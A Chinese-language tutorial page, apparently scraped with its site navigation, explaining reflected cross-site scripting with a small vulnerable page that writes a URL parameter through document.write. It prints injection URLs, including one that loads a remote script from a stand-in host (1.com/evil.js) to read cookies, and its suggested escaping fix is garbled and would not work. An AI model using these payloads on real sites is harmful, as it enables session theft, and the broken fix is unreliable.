最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501
当前位置: 首页 - 科技 - 知识百科 - 正文

js中xss跨站脚本攻击的简单理解

来源:懂视网 责编:小采 时间:2020-11-27 19:32:54
文档

js中xss跨站脚本攻击的简单理解

js中xss跨站脚本攻击的简单理解:跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。来一个小栗子 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充window.location.search 返回/后面内容包括问号返回
推荐度:
导读js中xss跨站脚本攻击的简单理解:跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。来一个小栗子 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充window.location.search 返回/后面内容包括问号返回

<!doctype html>
<html>
<head>
 <title>这是标题</title>
 <meta charset="utf-8">
</head>
<body>
 <script>
 var name = decodeURIComponent(window.location.search.substring(1)); // 获取参数
 console.log(name);
 document.write("hello " + name);
 </script>
</body>
</html>

访问

http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js脚本不能本地运行,因为有跨域的限制

页面输出

 hello word

这是一个灰常正经的页面。
下面如果尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上现在的浏览器很智能了。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉以后,由于容错机制,自动生成
好吧,要不是这容错机制,xss还没法实验呢。无奈,现在太智能了,小白的手法,已经不行喽

<script>
</script>

导致能允许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭
使用的是预解析,自动平衡树

此时script变身成为

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会出现一个弹窗,David
因为使用这个url自动生成一个另外一个脚本,由于浏览器自动的安全措施,所以使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>
事实上,现在基本上都会屏蔽掉的,和sql注入一样,都是非常小白的攻击手法。╮(╯▽╰)╭

导致出现弹窗,xss完成
接着下面还有
使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

这样就完成了一次脚本的注入。会将其他站点的脚本,通过连接进行注入。
可以对该站点的内容做任何的操作,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,通过更改页面的js来达到对页面修改的目的

预防

通过使用replace()全部替换为实体即可。

name = name.replace(/</g, "<"),replace(/>/g, ">");

总结

xss和sql注入一样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

如果一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。

相关文章:

利用PHP编程防范XSS跨站脚本攻击

如何利用php防止XSS跨站脚本攻击

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文档

js中xss跨站脚本攻击的简单理解

js中xss跨站脚本攻击的简单理解:跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。来一个小栗子 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充window.location.search 返回/后面内容包括问号返回
推荐度:
标签: 里面的 简单 js
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top